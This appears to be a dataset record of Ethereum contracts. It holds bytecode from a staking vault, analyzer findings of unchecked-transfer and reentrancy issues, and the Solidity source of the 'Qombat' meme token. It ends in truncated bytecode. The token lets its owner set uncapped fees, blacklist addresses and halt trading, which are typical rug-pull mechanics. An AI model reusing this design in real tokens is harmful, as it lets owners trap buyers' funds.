a01b039092169163a9059cbb916044808201926020929091908290030181600087803b158015610b1357600080fd5b505af1158015610b27573d6000803e3d6000fd5b505050506040513d6020811015610b3d57600080fd5b5051610b8d576040805162461bcd60e51b815260206004820152601a60248201527921b7bab632103737ba103a3930b739b332b9103a37b5b2b7399760311b604482015290519081900360640190fd5b33600090815260106020526040902054610ba7908461147b565b33600090815260106020526040902055601854610bc4908461147b565b601855610bd2600e33611770565b8015610beb575033600090815260106020526040902054155b15610bfd57610bfb600e33611785565b505b505050565b6000610c0e600e61179a565b905090565b6003546001600160a01b031681565b6000546001600160a01b03163314610c76576040805162461bcd60e51b81526020600482015260126024820152711bdb9b1e481bdddb995c88185b1b1bddd95960721b604482015290519081900360640190fd5b600555565b60116020526000908152604090205481565b610c9633611499565b565b33600090815260106020526040902054811115610cfc576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616d6f756e7420746f207769746864726177000000000000604482015290519081900360640190fd5b60085433600090815260116020526040902054610d1a90429061147b565b11610d6c576040805162461bcd60e51b815260206004820152601f60248201527f506c656173652077616974206265666f7265207769746864726177696e672100604482015290519081900360640190fd5b33600090815260126020908152604080832042905560175460149092528220556005546109d890612710906109d290859061173b565b60136020526000908152604090205481565b60155481565b6000546001600160a01b03163314610e0e576040805162461bcd60e51b81526020600482015260126024820152711bdb9b1e481bdddb995c88185b1b1bddd95960721b604482015290519081900360640190fd5b6002546001600160a01b0384811691161415610e5b5760405162461bcd60e51b8152600401808060200182810382526039815260200180611a986039913960400191505060405180910390fd5b6003546001600160a01b038481169116141580610e795750600b5442115b610eb45760405162461bcd60e51b815260040180806020018281038252602c815260200180611a6c602c913960400191505060405180910390fd5b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610f0b57600080fd5b505af1158015610f1f573d6000803e3d6000fd5b505050506040513d6020811015610f3557600080fd5b5050505050565b6001546001600160a01b03163314610f94576040805162461bcd60e51b81526020600482015260166024820152751bdb9b1e481b995dc81bdddb995c88185b1b1bddd95960521b604482015290519081900360640190fd5b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b60185481565b60165481565b60175481565b60075481565b600061101a600e83611770565b611026575060006110a4565b6001600160a01b03821660009081526010602052604090205461104b575060006110a4565b6001600160a01b0382166000908152601460205260408120546017546110709161147b565b6001600160a01b0384166000908152601060205260408120546019549293509161109e906109d2848661173b565b93505050505b919050565b6000546001600160a01b031633146110fd576040805162461bcd60e51b81526020600482015260126024820152711bdb9b1e481bdddb995c88185b1b1bddd95960721b604482015290519081900360640190fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314611173576040805162461bcd60e51b81526020600482015260126024820152711bdb9b1e481bdddb995c88185b1b1bddd95960721b604482015290519081900360640190fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b600a5481565b6000546001600160a01b031633146111ef576040805162461bcd60e51b81526020600482015260126024820152711bdb9b1e481bdddb995c88185b1b1bddd95960721b604482015290519081900360640190fd5b6001600160a01b03811661120257600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60008061123c600c544261147b90919063ffffffff16565b9050600061126d6127106109d26007546109d28661126760095460065461173b90919063ffffffff16565b9061173b565b9250505090565b600081116112c9576040805162461bcd60e51b815260206004820152601760248201527f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000604482015290519081900360640190fd5b6112d233611499565b600254604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b15801561132c57600080fd5b505af1158015611340573d6000803e3d6000fd5b505050506040513d602081101561135657600080fd5b50516113a9576040805162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000604482015290519081900360640190fd5b336000908152601060205260409020546113c39082611463565b336000908152601060205260409020556018546113e09082611463565b60185533600081815260116020526040902042905561140190600e90611770565b61141257611410600e336117a5565b505b50565b60106020526000908152604090205481565b600b5481565b60055481565b600d5481565b60045481565b600c5481565b60126020526000908152604090205481565b6101f481565b60065481565b60008282018381101561147257fe5b90505b92915050565b60008282111561148757fe5b50900390565b600061147283836117ba565b6114a161181e565b60006114ac8261100d565b9050801561170f5760006114c86127106109d2846101f461173b565b90506114d4828261147b565b6003546040805163a9059cbb60e01b81526001600160a01b03878116600483015260248201859052915193955091169163a9059cbb916044808201926020929091908290030181600087803b15801561152c57600080fd5b505af1158015611540573d6000803e3d6000fd5b505050506040513d602081101561155657600080fd5b50516115a6576040805162461bcd60e51b815260206004820152601a60248201527921b7bab632103737ba103a3930b739b332b9103a37b5b2b7399760311b604482015290519081900360640190fd5b600354600080546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018690529051919093169263a9059cbb9260448083019360209390929083900390910190829087803b15801561160357600080fd5b505af1158015611617573d6000803e3d6000fd5b505050506040513d602081101561162d57600080fd5b505161167d576040805162461bcd60e51b815260206004820152601a60248201527921b7bab632103737ba103a3930b739b332b9103a37b5b2b7399760311b604482015290519081900360640190fd5b6001600160a01b0383166000908152601360205260409020546116a09083611463565b6001600160a01b038416600090815260136020526040902055600d546116c69083611463565b600d55604080516001600160a01b03851681526020810184905281517f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf130929181900390910190a1505b506001600160a01b03166000908152601260209081526040808320429055601754601490925290912055565b600082820283158061175557508284828161175257fe5b04145b61147257fe5b60008082848161176757fe5b04949350505050565b6000611472836001600160a01b03841661191d565b6000611472836001600160a01b038416611935565b6000611475826119fb565b6000611472836001600160a01b0384166119ff565b815460009082106117fc5760405162461bcd60e51b8152600401808060200182810382526022815260200180611a4a6022913960400191505060405180910390fd5b82600001828154811061180b57fe5b9060005260206000200154905092915050565b60185461182a57610c96565b6000611834611224565b6003546040805163219c7d6960e21b81523060048201526024810184905290519293506000926001600160a01b0390921691638671f5a49160448082019260209290919082900301818787803b15801561188d57600080fd5b505af11580156118a1573d6000803e3d6000fd5b505050506040513d60208110156118b757600080fd5b50516018546019549192506118df916118d691906109d290859061173b565b60175490611463565b60175542600c556040805183815290517f497e6c34cb46390a801e970e8c72fd87aa7fded87c9b77cdac588f235904a8259181900360200190a15050565b60009081526001919091016020526040902054151590565b600081815260018301602052604081205480156119f1578354600019808301919081019060009087908390811061196857fe5b906000526020600020015490508087600001848154811061198557fe5b6000918252602080832090910192909255828152600189810190925260409020908401905586548790806119b557fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050611475565b6000915050611475565b5490565b6000611a0b838361191d565b611a4157508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155611475565b50600061147556fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e647341646d696e2063616e6e6f74205472616e73666572206f75742052657761726420546f6b656e73207965742141646d696e2063616e6e6f74207472616e73666572206f7574206465706f73697420746f6b656e732066726f6d2074686973207661756c7421a2646970667358221220ce9574d09f0f008e365228ca0bd43ade15de3425d9f2008f1cd44058db80727064736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,395 |
0x4616BBC4a9b34F6C3D205dE70487315d026E09ed
|
/**
Qombat, if you know you know.
Here to keep Crypto decentralized, fuck exchanges.
Taxes will get lowered to 3% each after 1 hour to punish early sellers.
TG: Q something, go find it yourself.
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Qombat is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Qombat";
string private constant _symbol = "Qombat";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 15;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 8;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xBE870F7E77d2b06C8D1C1A4d414566337136313B);
address payable private _marketingAddress = payable(0xBE870F7E77d2b06C8D1C1A4d414566337136313B);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 100000000 * 10**9;
uint256 public _swapTokensAtAmount = 100000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610521578063dd62ed3e14610541578063ea1644d514610587578063f2fde38b146105a757600080fd5b8063a2a957bb1461049c578063a9059cbb146104bc578063bfd79284146104dc578063c3c8cd801461050c57600080fd5b80638f70ccf7116100d15780638f70ccf7146104465780638f9a55c01461046657806395d89b41146101fe57806398a5c3151461047c57600080fd5b80637d1db4a5146103e55780637f2feddc146103fb5780638da5cb5b1461042857600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037b57806370a0823114610390578063715018a6146103b057806374010ece146103c557600080fd5b8063313ce567146102ff57806349bd5a5e1461031b5780636b9990531461033b5780636d8aa8f81461035b57600080fd5b80631694505e116101ab5780631694505e1461026c57806318160ddd146102a457806323b872dd146102c95780632fd689e3146102e957600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023c57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461191f565b6105c7565b005b34801561020a57600080fd5b506040805180820182526006815265145bdb58985d60d21b6020820152905161023391906119e4565b60405180910390f35b34801561024857600080fd5b5061025c610257366004611a39565b610666565b6040519015158152602001610233565b34801561027857600080fd5b5060145461028c906001600160a01b031681565b6040516001600160a01b039091168152602001610233565b3480156102b057600080fd5b50670de0b6b3a76400005b604051908152602001610233565b3480156102d557600080fd5b5061025c6102e4366004611a65565b61067d565b3480156102f557600080fd5b506102bb60185481565b34801561030b57600080fd5b5060405160098152602001610233565b34801561032757600080fd5b5060155461028c906001600160a01b031681565b34801561034757600080fd5b506101fc610356366004611aa6565b6106e6565b34801561036757600080fd5b506101fc610376366004611ad3565b610731565b34801561038757600080fd5b506101fc610779565b34801561039c57600080fd5b506102bb6103ab366004611aa6565b6107c4565b3480156103bc57600080fd5b506101fc6107e6565b3480156103d157600080fd5b506101fc6103e0366004611aee565b61085a565b3480156103f157600080fd5b506102bb60165481565b34801561040757600080fd5b506102bb610416366004611aa6565b60116020526000908152604090205481565b34801561043457600080fd5b506000546001600160a01b031661028c565b34801561045257600080fd5b506101fc610461366004611ad3565b610889565b34801561047257600080fd5b506102bb60175481565b34801561048857600080fd5b506101fc610497366004611aee565b6108d1565b3480156104a857600080fd5b506101fc6104b7366004611b07565b610900565b3480156104c857600080fd5b5061025c6104d7366004611a39565b61093e565b3480156104e857600080fd5b5061025c6104f7366004611aa6565b60106020526000908152604090205460ff1681565b34801561051857600080fd5b506101fc61094b565b34801561052d57600080fd5b506101fc61053c366004611b39565b61099f565b34801561054d57600080fd5b506102bb61055c366004611bbd565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059357600080fd5b506101fc6105a2366004611aee565b610a40565b3480156105b357600080fd5b506101fc6105c2366004611aa6565b610a6f565b6000546001600160a01b031633146105fa5760405162461bcd60e51b81526004016105f190611bf6565b60405180910390fd5b60005b81518110156106625760016010600084848151811061061e5761061e611c2b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065a81611c57565b9150506105fd565b5050565b6000610673338484610b59565b5060015b92915050565b600061068a848484610c7d565b6106dc84336106d785604051806060016040528060288152602001611d6f602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111b9565b610b59565b5060019392505050565b6000546001600160a01b031633146107105760405162461bcd60e51b81526004016105f190611bf6565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075b5760405162461bcd60e51b81526004016105f190611bf6565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ae57506013546001600160a01b0316336001600160a01b0316145b6107b757600080fd5b476107c1816111f3565b50565b6001600160a01b0381166000908152600260205260408120546106779061122d565b6000546001600160a01b031633146108105760405162461bcd60e51b81526004016105f190611bf6565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108845760405162461bcd60e51b81526004016105f190611bf6565b601655565b6000546001600160a01b031633146108b35760405162461bcd60e51b81526004016105f190611bf6565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fb5760405162461bcd60e51b81526004016105f190611bf6565b601855565b6000546001600160a01b0316331461092a5760405162461bcd60e51b81526004016105f190611bf6565b600893909355600a91909155600955600b55565b6000610673338484610c7d565b6012546001600160a01b0316336001600160a01b0316148061098057506013546001600160a01b0316336001600160a01b0316145b61098957600080fd5b6000610994306107c4565b90506107c1816112b1565b6000546001600160a01b031633146109c95760405162461bcd60e51b81526004016105f190611bf6565b60005b82811015610a3a5781600560008686858181106109eb576109eb611c2b565b9050602002016020810190610a009190611aa6565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3281611c57565b9150506109cc565b50505050565b6000546001600160a01b03163314610a6a5760405162461bcd60e51b81526004016105f190611bf6565b601755565b6000546001600160a01b03163314610a995760405162461bcd60e51b81526004016105f190611bf6565b6001600160a01b038116610afe5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f1565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bbb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f1565b6001600160a01b038216610c1c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f1565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f1565b6001600160a01b038216610d435760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f1565b60008111610da55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f1565b6000546001600160a01b03848116911614801590610dd157506000546001600160a01b03838116911614155b156110b257601554600160a01b900460ff16610e6a576000546001600160a01b03848116911614610e6a5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f1565b601654811115610ebc5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f1565b6001600160a01b03831660009081526010602052604090205460ff16158015610efe57506001600160a01b03821660009081526010602052604090205460ff16155b610f565760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f1565b6015546001600160a01b03838116911614610fdb5760175481610f78846107c4565b610f829190611c70565b10610fdb5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f1565b6000610fe6306107c4565b601854601654919250821015908210610fff5760165491505b8080156110165750601554600160a81b900460ff16155b801561103057506015546001600160a01b03868116911614155b80156110455750601554600160b01b900460ff165b801561106a57506001600160a01b03851660009081526005602052604090205460ff16155b801561108f57506001600160a01b03841660009081526005602052604090205460ff16155b156110af5761109d826112b1565b4780156110ad576110ad476111f3565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f457506001600160a01b03831660009081526005602052604090205460ff165b8061112657506015546001600160a01b0385811691161480159061112657506015546001600160a01b03848116911614155b15611133575060006111ad565b6015546001600160a01b03858116911614801561115e57506014546001600160a01b03848116911614155b1561117057600854600c55600954600d555b6015546001600160a01b03848116911614801561119b57506014546001600160a01b03858116911614155b156111ad57600a54600c55600b54600d555b610a3a8484848461142b565b600081848411156111dd5760405162461bcd60e51b81526004016105f191906119e4565b5060006111ea8486611c88565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610662573d6000803e3d6000fd5b60006006548211156112945760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f1565b600061129e611459565b90506112aa838261147c565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112f9576112f9611c2b565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611352573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113769190611c9f565b8160018151811061138957611389611c2b565b6001600160a01b0392831660209182029290920101526014546113af9130911684610b59565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113e8908590600090869030904290600401611cbc565b600060405180830381600087803b15801561140257600080fd5b505af1158015611416573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611438576114386114be565b6114438484846114ec565b80610a3a57610a3a600e54600c55600f54600d55565b60008060006114666115e3565b9092509050611475828261147c565b9250505090565b60006112aa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611623565b600c541580156114ce5750600d54155b156114d557565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806114fe87611651565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061153090876116ae565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461155f90866116f0565b6001600160a